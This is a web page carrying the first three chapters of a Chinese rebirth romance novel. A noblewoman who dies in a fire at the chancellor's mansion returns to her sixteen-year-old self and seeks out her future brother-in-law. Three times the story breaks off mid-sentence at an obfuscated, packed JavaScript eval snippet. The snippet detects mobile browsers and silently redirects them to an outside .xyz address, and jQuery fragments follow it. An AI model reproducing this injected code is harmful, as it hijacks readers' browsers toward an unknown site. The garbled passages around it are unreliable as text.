《重生训狗日常》 1. 第 1 章 柳舜华醒来的时候,正值傍晚。 一夜雨急,檐下海棠兀立,稀疏的花影摇在斑驳的青墙上。墙角苍苔泛冷,雨水濡湿一地落红。 虽已是孟夏,西竹院依旧一片凉飒之气。 窗牖半开,风吹着床前的旧罗帐,悠悠荡荡。柳舜华咳了几声,强撑着虚弱的身子,缓缓坐起。 屋外一阵喧嚣过后,缈缈弦乐入耳,细细一听,奏的似是《桃夭》。 柳舜华昏昏沉沉,反应了好一会,才想起明日便是她夫君大喜的日子。 贺玄晖终于如愿以偿。 他就要迎娶刘妉柔。 芳草正在廊下熬着药,听到柳舜华咳嗽,忙跑进屋,扶着她坐起。 “夫人,你终于醒了,我这就把药端来。” 说完,她想起了什么,抿着嘴不再说话。 柳舜华淡淡一笑:“我哪里还是什么夫人?日后还是依着在家的时候叫吧。” 过了今日,相府依旧有长媳,可却不再是她柳舜华。 柳舜华侧耳听了许久,这首曲子,与她同贺玄晖成婚那日一般无二。 当初嫁给贺玄晖的时候,柳舜华心内是欢喜的。 长安城里人人皆知,贺丞相辅两任帝王,掌朝中大权,即便是当今圣上也要让三分。 她原以为,相府的长子,多半是个目下无尘的。所以,成亲前她曾偷偷看过他。没想到他却恭谦有礼,温润如玉,恰如春日里的暖阳,教人无端生喜。 柳舜华也曾以为,能嫁于贺玄晖是一件幸事。 那时,柳家门楣还不算高,柳父只是大司农丞,兄长还未被重用,妹妹柳棠华也不是皇后。 原本她这样的出身,根本攀不上相府这门亲事。 她只是偶然救下了相府的老夫人,被老夫人在贵客云集的寿宴上夸得天下无双。 寿宴后,一向不得老夫人看重的相府夫人,便火急火燎地跑到柳府提亲,想要通过她来争取到老夫人的青睐。 入府后她才知,她的夫君贺玄晖,有位放在心尖上的意中人。 成婚当日,贺玄晖便将她一个人扔在新房,自己跑到书房借酒浇愁,害她成为笑话。 婚后,贺玄晖更是为向心上人表忠心,甚少出现在后院,从未碰过她。 贺玄晖的心上人是平阳王府郡主刘妉柔,两人郎情妾意,神仙眷侣。 只因当初相府与平阳王府交恶,再加之相府夫人误打误撞,这才迎娶她进门。 这些年,贺玄晖从未放弃过迎娶刘妉柔的念头,两家关系都是他费尽心机从中斡旋。 随着老夫人身死,柳舜华最后一点价值也消失殆尽。 又值睿帝驾崩,朝中动荡,贺丞相扶持流落在民间的新帝刘九生登基,相府幼女贺容暄对皇后之位虎视眈眈,而新帝却顶住相府的压力,执意册立与他同甘共苦的柳棠华为后。 一夕之间,婆母待她愈加苛责,贺容暄对她更是冷嘲热讽。 她在相府过得一日不如一日。 后院那些下人,个个都是人精,惯会见风使舵,见柳舜华备受冷落,明里暗里不知给她多少白眼。 而她的夫君贺玄晖,每每皆是冷眼旁观。 她不明白,贺玄晖明明是那样温润之人,为何对她却如此冷情。 后来,她渐渐明白了一个道理:纵使日华昭昭,也有照不到之处。 贺玄晖这轮遥遥天上日,有他想要照耀的地方。 柳舜华很快便想开了,也早放下了。 十日前,一大早婆母便屈尊前来。她以柳舜华三年无所出为由,让她自己从相府长媳之位下来,自降为妾。 她明白,刘妉柔贵为郡主,又是贺玄晖的心上人,若嫁进来自然不可能做妾。 而她最大的依凭,她的妹妹,皇后棠华,也已经香消玉殒。 柳舜华心内盘算着,迟迟未开口。 丞相夫人以为她要霸着相府长媳之位,指桑骂槐一阵,带着人悻悻离开。 黄昏时分,贺玄晖踏着晚霞走进后院。 柳舜华依旧恹恹地躺着,并未起身。 贺玄晖静坐许久,才缓缓开口:“我要娶刘妉柔,恐怕要委屈你。” 柳舜华一口应了下来:“好。” 相府这座锈迹斑斑的铁牢笼,她早就厌了。 她不想无声无息地烂在这里。 她只想借此机会,飞出这重重庭院,好好重活一遭。 许是柳舜华应得过于爽快,灯影摇曳中,贺玄晖神情晦暗,他沉默片刻,吩咐她近日不要离开西竹院。 还未等她提及和离之事,贺玄晖已十分不耐地离开,他连一刻都不想和她在一起。 自那以后,柳舜华再也没见过贺玄晖。 贺玄晖大抵是在忙婚礼,毕竟他等这一日许久了。 …… 屋外的礼乐已换成宴席舞乐,喧啾若百鸟朝凤,一听便知明日必是个热闹的光景。 芳草眉心拧成一团,她眼眶泛红:“小姐,若是日后新夫人进门……我不怕吃苦,只是小姐不知又要遭多少委屈。” 柳舜华拉着芳草的手,软语安慰:“这三年,咱们什么苦没吃过,什么委屈没受过。别怕,再等等,咱们一起回家。” 芳草抬眸惊诧道:“小姐,你是说,回柳府?” 柳舜华点点头,她早已想好后路。 贺玄晖如愿娶了刘妉柔,却还将她留在西竹院,自然有他的思量。 先皇后娘娘故去才半年,相府便将贺容暄捧上皇后之位。 若再急着将她赶出相府,多少有些不太体面。 贺玄晖留下她,无非是为了保全相府的名声。 可是,她可以自请和离。 如此一来,相府就不用担一个刻薄的名声。 明日便是贺玄晖大喜的日子,说不准他一高兴,便会应了。 若贺玄晖不答应,左右还有刘妉柔。 没有哪个女人会想和别人同享自己的夫婿,哪怕是个毫不受宠的女人。 只要搬出刘妉柔,贺玄晖定会作出让步。 柳舜华喝过药,天色已经暗沉下来。 她梳洗了一番,换好干净的衣物,便朝着贺玄晖书房走去。 西竹院过去贺玄晖书房,并不算近,可只要绕过一条偏僻少行的近道,片刻即至。 乌云遮月,凤尾森森,竹林幽阴深邃,四周静得可怕。 柳舜华心内无端不安,不由加快了脚步。 须臾便至书房西窗下,柳舜华正欲绕到正门,便听到书房内传来阵阵低语。 “父亲,我正准备过去,您怎么亲自来了?” “你这里僻静,没那么多人盯着,说话方便些。” 柳舜华没想到丞相会亲自到贺玄晖书房。 明日便是大婚,丞相这个时辰过来,对婚礼以及刘妉柔的看重可见一斑。 左右不过是交待婚礼琐事,柳舜华觉得也并无避嫌的必要,就静静候在窗外。 只听一阵窸窸窣窣的动静后,低沉的声音传来。 “明日准备得如何了?” “父亲放心,皇上的行程已尽在掌握。明日大婚皇上亲临,回宫的途中,已经安排好了人手。” 柳舜华浑身一个激灵,贺玄晖这话是什么意思? “要确保万无一失。还有若是有人员伤亡,善后处理也要倍加留心,免得落人口实。” 贺玄晖应着,思忖片刻还是问道:“父亲,一定要走到这个地步吗?” “啪”的一声,贺丞相将杯盏重重摔在桌上。 贺丞相怒道:“如今我贺府已是累如危卵,你竟还有如此妇人之仁。” 贺玄晖脊背僵直,垂首而立,不敢有丝毫懈怠。 见他如此,贺丞相怒气消减几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484830|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分,喟然长叹:“外人看我贺府恩宠隆盛,声名烜赫,可即便是艨艟巨舰,在惊涛骇浪之间,也有随时倾覆的可能。圣上迟早要清算贺家,若不趁着我在朝中尚有些分量,提前行动,待到日后我两眼一闭,贺家这艘大船,就真的要沉了。” 贺玄晖哽咽道:“父亲放心,为了贺家,为了母亲与妹妹,我知道该怎么做。” 提到丞相夫人,贺丞相无奈道:“你母亲真是被我宠惯了,做事总是无所顾忌。我也没想到,她竟然如此胆大包天,私下做出这种蠢事……” 柳舜华还未来得及多想,便听到一声呵斥:“什么人?” 是府内巡逻的护卫。 柳舜华惊醒,慌忙转身拼了命地往外跑。 贺丞相同贺玄晖听到声响,忙从书房内走出。 贺玄晖眉头紧锁:“可有看清是什么人?” 领头的护卫犹疑道:“好像,好像是少夫人。” 柳舜华沿着小路慌慌张张向前,一路繁密的花枝划破了她的脸颊,浸出丝丝血痕,火辣辣地疼。 四周一片黑暗,她看不清方向,只知道不停向前跑。可仿佛有只庞大的手掌将她紧紧攥在手心,她越跑越绝望。 这里是相府,她根本无处可逃。 浮云散尽,一钩新月遥挂中天,清辉匝地,柳舜华仿若看到无限光华。 她转头朝着一个方向坚定地跑去。 贺玄度,这里还有二公子贺玄度。 他是唯一能帮她的人。 …… 冲天的火光照亮了整个相府,嘈杂的惊呼声此起彼伏。 柳舜华怔怔地站在院中,看着下人们提着木桶慌慌张张,来来回回。 贺丞相同贺玄晖随着追赶柳舜华的护卫一起赶到。 贺丞相顾不上已经走投无路的柳舜华,他抓起院内管事的问道:“怎么回事,二公子呢?” 管事人战战兢兢:“二公子,他在里面。恐怕,恐怕,已经……” 贺丞相怒道:“胡说什么,都给我去找,生要见人,死要见尸。” 一旁灰头土脸的小厮哽咽道:“相爷,方才我已冲进去了。我看见二公子他躺在床上,已经……被烧焦了。卧房倒塌,实在是搬不出来……” 火势借着风越烧越旺,院内浓烟滚滚,檐柱不断被火龙吞噬,终于支撑不住,整个房屋轰然倒塌。断木砸在廊下的鱼缸里,残存的几尾金鱼在滚烫的地面上挣扎片刻,很快便没了声息。 柳舜华眸光一点点黯淡,她失神地望着眼前熊熊燃烧的大火。 贺玄度,死了。 他就在这火光之下。 柳舜华恍恍惚惚,一步步走向火光。 贺玄晖满脸惊愕地望向柳舜华,随即他大吼道:“柳舜华,你做什么,给我回来。” 柳舜华缓缓回头,漫天的火光映在她一向苍白的脸上。 贺玄晖在她的脸上看到了一种奇异的光彩,就像是开到极致,只等暮落的朱槿,带着与生俱来的宿命,走向归途。 她看向贺玄晖,眸中一片平静:“我知道,听了你们的秘密,我是活不成了。你们放心,我会自行了断。只是,柳家已经没了皇后娘娘,没有能力挡你们的路,我求你们,放过我的家人。” 贺玄晖上前几步,伸手急道:“柳舜华,听我说,别冲动,你先回来。” 柳舜华粲然一笑,一字一句道:“贺玄晖,明日便是你大喜的日子,我以此身,贺你新婚。” 衣袂随风,像是一只飞蛾,柳舜华决绝地扑向火海。 火舌很快吞噬掉她的衣物,灼灼耀目的红,像极了他们新婚那日,她顶着的红盖头。 那日,他犹豫许久,终是没能亲手揭开她的红盖头…… 贺玄晖疯了一般,跌跌撞撞冲向火光,似乎想要抓住什么。 尘灰萦空,漫卷向天穹。他的掌心,一片虚空。 2. 第 2 章 彤彤火光映在窗外,触目是无边耀眼的红。 柳舜华猛地从床上坐起,赤着脚跑出屋外,一路跑下石阶。 “快救火……”话音未落,柳舜华蓦地止住了脚步。 青瓦飞檐之上,红日初升,似绛绡千丈,灿若锦屏。 绚丽的霞光掠过阁楼,落在廊下高疏的桂树新绿上,满院山茶花开灼灼。 不是火。 这里也不是相府,而是……柳府。 柳舜华神思恍惚,她不是已经跳进火海,怎么又回到了柳府。 冰冷的石阶浸骨,柳舜华忍不住打了个寒噤。 这不是梦? 芳草正哼着歌,提着竹篮跨进院子,篮子里探出一枝新撷的粉芍药。 “小姐,你醒了。这怎么,不穿鞋呢,小心着凉。”芳草将竹篮放在廊下,扶着柳舜华就要进屋。 柳舜华呢喃道:“芳草?” 芳草自幼陪她一起长大,她嫁进相府后,芳草也一直跟着。 相府三年,为了维护她,芳草不得不泼辣起来,一言不合便叉起腰与人对骂,昔日眉宇间的天真早被磨平。 而眼前的芳草,语笑嫣然,肉嘟嘟的脸上犹带着稚气,分明是三年前的模样。 芳草见柳舜华神情呆滞,一动不动地盯着她,着急地伸手去摸她的额头:“小姐不是睡癔症了吧,我就说,昨夜不该和二小姐闹到半夜,你们偏不听。” 二小姐,她是说棠华,棠华还活着。 怎么可能,她的妹妹,先皇后娘娘棠华,明明已经病死在皇宫内。 柳舜华头疼欲裂,声音哽咽,“棠华,棠华。” 芳草看着柳舜华,道:“孙家表少爷大婚,二小姐随孙姨娘去观礼,今日一早便出发了,要明日方归,小姐忘了?” 孙家表少爷大婚,那是许多年前的事了。 柳舜华隐约记得,当时她贪玩,还跟着孙姨娘一道去了。 屋外凉风吹得柳舜华神识有几分清明,她甩开脑海中纷乱的记忆,开口道:“现下是何年何月?” 芳草一脸懵懂,盯着柳舜华道:“大安元始六年,三月初二。” 柳舜华脑中一阵轰鸣,元始六年,她才十六岁,还未嫁进相府。 她真的回到了三年前。 也就是说,上辈子那些事都还未发生,一切都还来得及。 柳舜华紧紧抓住芳草的胳膊,“太好了,真的是太好了。” 芳草虽不明白好在好处,不过自家小姐看起来确实是好多了。 柳舜华跨出庭院,看着院中的一草一木,皆是熟悉的模样,胸中难免激荡。 她便迫不及待地穿过回廊,向书房跑去,隔着重重浓绿的芭蕉叶,远远瞧见垂首站在窗下的父亲。 初嫁进相府那些时日,她还偶有回家探望。 可后来发生了那些事,令她身心俱疲。 尤其相府最后那些时日,又染上了病,整个人消瘦得不成样子。 为了不让爹爹担心,她连家都不敢回。细算起来,她已近一年未见到父亲了。 柳舜华忽而停下脚步,怯怯地望着父亲的身影。 不知何时,父亲发丝中已有了白发,她之前竟不曾发觉。 似是听到了动静,柳大人下意识地抬头,正瞧见窗外站着的柳舜华。 方才还皱着的眉头瞬间舒展,柳奉放下手中的笔,朝着柳舜华笑道:“怎么站在外面不敢进来,是不是又惹了什么祸?” 柳舜华再也忍不住,提起裙摆冲进屋内,一把抱住父亲,呜呜地哭了起来。 柳奉愣了一下,拍着柳舜华,“这是怎么了,是谁欺负我们蓁蓁,告诉爹,爹替你做主。” 相府三年,柳舜华过得憋屈极了,她很想同爹爹哭诉上辈子的艰辛,可终究还是忍不住了。 不过是大梦一场,又何故徒惹爹爹担心。 柳舜华擦干泪,摇摇头,依旧带着哭腔:“我就是……觉得委屈。” “咱们蓁蓁可是柳家的掌上明珠,谁敢给你委屈受?” 本是稳重的嗓音,却偏带了一丝调笑。 柳舜华抬眸,见兄长柳桓安正冲着她笑。 柳桓安与柳舜华乃一母同胞,长得有七八分相。此刻他一身石青长袍,并无任何多余装束,颜如冠玉,五官俊秀,难掩英姿。 望着眼前意气风发的兄长,柳舜华有些恍神。 嫁进相府后两年,兄长因她与棠华的缘故,彻底得罪了丞相府,在朝中受尽排挤。 最后一次见他时的场景,她依然记得。 高大的梧桐下,他郁郁地坐着,独自饮着酒。 稀疏的光影摇曳在他青衫上,晃得柳舜华眼疼。 她不知如何安慰,只坐下陪着他饮了一杯又一杯,直到天色渐暗,四野暮沉。 柳舜华眼眶一酸,“兄长。” 柳桓安本是想打趣她,却见她如此模样,一时慌了神:“妹妹怎么了?” 方才一哭,情绪发泄,柳舜华已缓解大半,为免父兄看出异常,她想着旧日在家时的样子,仰头道:“爹同哥哥都不疼我了,往日里都知道送我莲蓬糕,这都好些日子没送了,可不就是不再将我放在心上了。” 柳桓安一听,才又笑了起来:“你个馋猫,原来竟是为了此事。你都多大姑娘了,还为这点糕点哭鼻子。” 柳奉也放下心来,轻声哄道:“这阵子圣上有恙,朝中诸事繁杂,爹爹脱不开身,你哥哥又一直在忙,倒是疏忽我儿了。你放心,待会爹便差人去买。” 听到此处,柳舜华又恍惚记起一些旧事。 圣上抱恙,贺丞相代为主持朝政。平阳王本就不满贺丞相独揽大权,处处与其争锋。适逢平阳王欲为其大女婿争取封侯,被贺丞相驳回,双方结怨更甚。贺玄晖与刘妉柔这对苦命鸳鸯,也因此被迫分离。而她,则误打误撞,嫁进了相府。 朝臣之间争斗,却连累她这个无名小卒成了牺牲品,回首前世,柳舜华不胜唏嘘。 “好侄子,你可真够争气的,不枉二叔这些年对你的期待。” 来人也不让人通传,直接走了进来。 柳舜华看到来人,心内冷嗤。 上辈子,棠华还是皇后时,她这二叔仗着棠华的势,处处招摇。 后来棠华势微,崩逝在宫中,贺家又步步紧逼,他为免受牵连,第一个跳出来与他们家划清了界限。 兄长郁郁不得志的那些时日,他没少冷嘲热讽。 她躬身淡淡道:“二叔好。” 柳信敷衍地点点头,转身对着柳桓安笑道:“听说,你被皇上钦点,任命鸿胪寺丞。你什么时候德蒙圣上召见,怎么没听你说呢?” 兄长被任命鸿胪寺丞,她记得此事。兄长此前辅助的县尉擢升,在皇上面前举荐了他。皇上召见兄长不久,任命便颁了下来。她同棠华从孙家回来,听说这个消息,还缠着兄长讨了不少零用钱,买了好多小玩意。 柳舜华料定二叔要拉着兄长长谈,随便寻了个理由便起身离开。 柳桓安叫住了她,递给她一张帖子,“长陵侯府方送来的,邀咱们明日到他们庄园里赏花。” 上辈子这个时候,她不在家。竟不知,长陵侯府有送帖子过来。 她恍然记起,曾在贺玄晖书房,见过长陵侯府世子李季方。 长陵侯府多半是站在贺丞相那边的。 那他们此番送帖子过来,好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484831|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没那么简单。 柳舜华接过帖子,打开一看,视线落在上巳节三个字上。 她突然想到了一件极其重要的事。 三月初二,上巳节前夕。 她必须去见一个人,错过这次,只怕再难见到了。 …… 柳舜华上辈子,实在憋屈。 夫君只想着他的心上人,婆母厌她留不住儿子,小姑嫌她粗笨配不上哥哥。 她在相府孤立无援,寸步难行。 唯有小叔贺玄度与她亦师亦友。 他教她读书习字,教她父兄都未曾教过她的道理。 三年,她读遍了贺玄度为她挑选的那些书。 从书中看到山川秀美,江河辽阔;日月盈昃,春秋代序;人生激荡,世事沧桑。 方知她这一生,不过是井底之蛙。 她想要走出去,看一看这大好河山,而不是拘于宅内争斗之中。 他让她在相府泥潭中滋生出希望,犹莲生淤泥,菡萏初绽。 贺玄度,是她在幽室里漏进的一缕天光。 她记得,贺玄度喜赏花,尤爱桃花。每年上巳节前夕,他总会外出折几枝桃花回来。 贺玄度行动不便,平日里甚少外出,眼前这个能见到他的绝佳机会,柳舜华自然不愿错过。 片刻后,柳府后院东厢房便一阵悉悉索索,雨落春草般连绵。 柳舜华连换三四套衣裙后,最终选定一件素雅的月白罗绮曲裾袍。 贺玄度喜素淡,穿成这样,他才可能会多看她一眼。 支开芳草,柳舜华匆匆前往相府。 上辈子嫁入相府后,因处处受丞相夫人所限,她甚少出府。每次回柳府,她都是乘坐轿子。以至相府三年,府外周遭是何光景,竟一概不知。 她只记得,有一次坐轿子出了相府的高墙,南风吹开车帘,她似是看到一株百年古柳。 她循着古柳,来到相府门口。 因临近上巳节,街道上红飞翠舞,她半隐在柳树下,也不十分打眼。 柳舜华第一次以一个局外人身份,细细打量着眼前熟悉的府邸。 相府赫赫,门前石狮子也威风凛凛,四周围墙高耸,轩峻庄重。古木森森中隐约可见楼阁重重,高甍凌虚,华丽豪奢,让人望之生畏。 明里光鲜,暗里却是蝇营狗苟,浊臭不堪。 若非为见贺玄度,她断然不肯再来这种地方。 她盯着眼前的朱红大门,那道清寂的身影又浮上心头。 蓦地想起了最后一次见贺玄度时,他坐在轮椅上,默默剪掉一枝斜飞的花枝,淡漠道:“有些软肋与虚念,不过是附赘悬疣,该舍弃时当舍弃。” 软肋,虚念? 她不知贺玄度是在说她,还是他自己,却没由来一阵心虚。 于她而言,贺玄度就是天边的明月,可望不可即。 他总是一副淡然的模样,无欲无求,她看不穿。 可越是这样,她就越想了解贺玄度。 她想知道,贺玄度所求究竟是什么? 可惜啊,二十岁的贺玄度已经死了,她再也没机会去问。 不过幸好,十六岁的贺玄度还在。 柳舜华默默想着,不知十六岁的贺玄度会是何模样? …… 一直等到隅中,都未等到贺玄度。 柳舜华怅然若失,看来今日是扑了个空。 方欲转身,沉重的开门声响在耳侧。 柳舜华抬眸望去,朱门缓缓打开,两个小厮簇拥着一人走了出来。 万千丝绦柔风中葳蕤,荡漾着春光,婆娑惹人。 隔着的一片浓荫,她看到了贺玄度。 3. 第 3 章 眼前人有些熟悉,却又无比陌生。 朱门之下,贺玄度临风而立,赭色孔雀金绣织锦袍轻轻翻动,乌发如云,面白似玉,清澈的桃花眼微微上扬,一双竹节般的玉指漫不经心地揉着额头。 柳舜华从树后绕出,一步步向贺玄度走去。 她脑袋空空荡荡,原本她只想着看一眼就好,可真见到了,却又生出别的奢望。 对于贺玄度,她总是有份说不清道不明的感情,这份感情,由不得她控制。 朱门前,贺玄度懒懒一瞥,看着拦在眼前的柳舜华,眼神一下亮了。 又是一个爱慕他美貌之人,还是一个美人。 可太有趣了。 他一把推开两个碍事的小厮,撑开拿在手中的五彩羽扇,遮挡住大半边脸,歪头凑了过去。 小厮看了看贺玄度,不禁替眼前的美人捏一把汗。 美人虽美,可这一身素淡的衣衫,这周身气度,恰恰是公子最不喜的类型。 对这类美人,公子通常只有一句话。 果然,贺玄度挑眉道:“美人,斗鸡,一起去吗?” 柳舜华懵了…… 还未从错乱中恢复,她突然意识到一件更让她震惊之事。 贺玄度的腿,好了。 上辈子,她能感受到,贺玄度对他的腿,很在意。 每次听她谈到乡野风光,骑马驰骋,他一向淡默的脸上,总会浮动一些难得的神采,眼底似是泛着光。 她常想,若是贺玄度双腿健全,他定不会囿于宅地之间。 他那样高洁之人,应当是在竹篁间弹着瑶琴,亦或是在山水中听着松涛,俯仰自得,不染尘俗。 柳舜华欣喜不已,顾不上其他,上前几步,指着他的腿声音颤抖:“你的腿,你的腿……” 她直直盯着贺玄度的腿,眼神过于殷切,以至于看起来行为有些疯癫。 贺玄度笑容僵在脸上,惊恐地收起羽扇。 这女子没被他吓跑,竟还如此癫狂,这是对他爱慕成痴啊。 生怕她下一刻就要摸上他的腿,他边走边退,“哎哎哎,你做什么?你离我远点,我要叫人了啊。” 柳舜华反应过来,忙解释:“不是,我只是……我只想看看你的腿。” 想看他的……腿。 这竟是个女登徒子。 活生生的女登徒子,给他碰到了。 贺玄度后退几步,拉过两个小厮,探出半个脑袋,结结巴巴道:“你……你大胆,小爷我你都敢调戏。” 柳舜华见解释不清,更加慌乱,“不是的,你听我解释,我只是没想到你的腿是好的,我……” 贺玄度根本不听,“你给我打住,站在那里,不要动。” 柳舜华呆在原地,直愣愣地看着贺玄度。 贺玄度小心翼翼地绕到一边,拔腿便跑。 边跑边心有余悸地回头看,生怕一不小心便被追上。 “还看什么热闹,快跑啊!” 那个清冷绝尘,一袭白衣坐在轮椅之上的贺玄度,与眼前这个逃命般奔跑,毫无顾忌的身影,光影一般浮在眼前。 柳舜华呆愣愣地立在原地,久久才回过神来。 她恍恍惚惚地往回走。 方才那人分明是贺玄度,可为何却是……那番模样? 还有,贺玄度的腿,为何突然就好了? 上辈子,第一次听说贺玄度,是嫁进相府的五个月后。 当时老夫人病重,她侍奉老夫人汤药后回院,经过穿堂时无意间听到一个老嬷嬷在教训下人。 “往后你们几个做事,要机灵一点。二公子昨日回府,他那性子阴晴不定的,指不定怎么闹呢。” 柳舜华入府半年,并未见过这位二公子,她便问妙灵府内何时多了位二公子。 妙灵是老夫人指给她的丫头,对府内之事略知一二。 然而妙灵却支支吾吾,只道二公子此前一直在凉州。 她以为这二公子是位不受重视的庶子,便也没再追问。 直到后来,她与贺玄度有了半师之谊,才渐渐清楚他的身世。 可关于贺玄度双腿残废之事,府内大多三缄其口,就连贺玄度身边伺候的那些人,也不肯多说一个字。她又恐过打听多了,反伤了贺玄度的心,便没再问起。 柳舜华不知其中内情,一直以为他自小便是如此。 上辈子,救下老夫人半年后,她嫁进相府。 也就是说,贺玄度会在此后一年内双腿残疾。 不行,贺玄度的腿不能断,她一定要想办法阻止。 -- 昨夜浑浑噩噩似入梦,柳舜华脑海中尽是些前尘过往。 一时是贺玄晖对她冷言冷语,一时是相府那场葬送她的大火。 她虽与贺玄晖恩怨纠葛三年,可到底早对他死了心,尽管心中憋屈,却也不算切骨之仇。 至于那场火,上辈子活成那样,未尝不是一种解脱。 她只能这么想。 根深蒂固的丞相府,岂是她这种闺阁女子可以撼动的。 往事成空,去日不可止,她只想守着家人,安安稳稳地过好这辈子。 这辈子,父兄不会再受她牵连,以至在朝堂上被打压。 而棠华,什么皇后,不当也罢,她只想让她平顺安乐地度过此生。 若说今世的遗憾,也是有的,那便是贺玄度。 “小姐,该起了。” 柳舜华缓缓睁开眼,朦朦胧胧间见芳草端着铜盆,打了洗脸水进来。 她隔着红罗帐,瞥了一眼窗下陶瓶内影影绰绰的芍药,翻了个身,继续睡去。 芳草才将盆放到架子上,方打湿毛巾,便看到被风吹乱散落在地的纸张。 她仔细擦了擦手,一一捡起,拿在手中一看,笑盈盈道:“小姐的字什么时候写得这么好看了?” 柳舜华猛地睁开眼,从床上跳起,一把掀开帘子,跑去抢过芳草手中的纸。 纸张之上,密密麻麻地重复着三个字:贺玄度。 柳舜华脸颊发烫,将纸张卷起放进抽屉内,刻意移开话题:“哪里就好了,分明写得不堪入目。” 芳草笑笑,转头去将毛巾拧干递了过去:“小姐不是哄我吧,我虽不识得几个大字,可写得好歹还能分辨一二。小姐以前的字,我不是没见过。” 柳舜华打趣道:“你这么机灵,不如也学学认字如何?” 芳草连连摆手:“小姐饶了我吧,我可学不来。” 柳舜华张口便道:“那是读书不得其法,像我们这些人,若一开始便像太学生一样读经书,自然不得趣味,很难再读下去。你看我以往,提到读书怕得什么似的,可自从贺……” 她突然住了口,如今是三年前,她和贺玄度,还互不相识。 芳草抿嘴笑道:“我竟不知小姐什么时候开始读书了,公子在外等着呢,又没在这,不用做样子。” 柳舜华这才想起,昨日答应了兄长,要一同去长陵侯府浮霞园赏花。 马车一路出了城门,朝着东郊驶去。 一出了城,清风卷着花香撩动车帘,空中杂着一些草木的清气。 柳舜华深吸一口气,久违的熟悉感扑面而来。 柳桓安见她脸上带笑,浑然不似昨日那般恍惚,心知此次带她出来,实为明智之举。 柳舜华松了松肩膀,问道:“兄长同长陵侯府世子相熟?” “我与长陵侯世子只有过几面之缘,此次相邀,应当是曹廷尉的缘故。”柳桓安摇头,随即道:“我此次升迁,便是曹廷尉所荐。” 曹廷尉,也就是此前的曹县尉,兄长此前一直在他手底下做事。 因此人举荐过兄长,柳舜华对他多有留意。每年贺丞相生辰,似乎也有他的踪影。 难道,贺丞相有意要拉拢兄长? 兄长酷爱经史,才学不俗。诸子百家,尤推法家。 他常道“世事变而行道异”,大安若想长治久安,应以法·术治天下,而非一味守旧。 他一腔热情,期盼建功立业,确实曾一度得到圣上青睐,官至侍御史。 可这都是后来之事,贺丞相为何早早便起了拉拢兄长的心思。 她按下心中疑惑,笑道:“那看来,长陵侯世子此次相邀,是为了结交兄长。” 柳桓安没有回答,只是神色复杂地望向窗外。 柳舜华知他有凌云之志,不想掺和进权力争斗之中,可身在朝堂,孤臣难做。不过,兄长这性子,倒也让她放心,毕竟丞相府将来极有可能造反,她可不想兄长被相府牵连。 她心内轻叹一口气,换了个话题,“不知长陵侯府这次都邀了哪些大人物来,我一向没见识,可莫要冲撞了去才好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484832|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳桓安果然笑了,“你也不必自谦,谁不知道你小心思最多。” “不过此次,还真有。我听说,丞相府的大公子今日也在。” 柳舜华蹙眉,贺玄晖果然在。 她心下又一转,漫不经心道:“听说丞相府还有位二公子。” 柳桓安脸色一沉,对着柳舜华叮嘱道:“这种风雅之事,他不一定会参加。不过,待会进了园子,若是遇到这位二公子,最好离得远远的。” 柳舜华秀眉一扬:“为何?” 柳桓安颇有君子之风,不屑背后非议他人,只道:“这位二公子,空有副好皮囊,却是有名的纨绔。” 贺玄度是个纨绔,这话柳舜华不是没有听过。 老夫人病重,贺玄度回府后,这话她常有耳闻。可同贺玄度相处日久,她愈知其为人,只当是丞相夫人找人编排,从未放在心上。 昨日相府门前一见,再加上兄长方才的话,她一时心乱如麻。 柳舜华随便应付着:“传言未必是真,何况我也不会主动去招惹别人,兄长放心。” 过了元宝桥,一路绿柳萦绕着春水,行至水穷处,便是浮霞园。 马车停住,两人先后下车。 园门外已是车水马龙,门口几个小厮一脸笑意相迎。 园内楼阁耸立,几十里桃花竞相开放,或粉浅玉嫩,或娇艳欲滴,一簇簇连成一片,云蒸霞蔚,芳香馥郁。 柳桓安回头望了柳舜华一眼,“方才我还觉你这一身有些素淡,现下瞧着,与这倒十分相衬。” 柳桓安递了拜帖上去,门口两个小厮看了一眼,便着人引着进了园子。 柳舜华跟在柳桓安后面,绕过一座石桥,经过弯弯曲曲的水榭,又往前行了一段路,方到正厅前。 小厮笑道:“柳公子,我家公子在里面,已经恭候多时了。” 柳桓安转头对柳舜华道:“你且安心赏花,若是有事,差人过来寻我。” 园内丫鬟带着柳舜华,继续向前。 不知走了多久,前面一道粉墙挡住了风景,只能瞧见月洞门上一簇桃花横斜,迎风开得正盛,不断有嬉笑之声隔着围墙传来。 领着柳舜华进了桃林,丫鬟笑着告退。 桃林内,贺玄度摇着羽扇走在前面,身后跟着三四个少年人。 “玄度今日来得太晚了些,待会可要多喝一杯。” 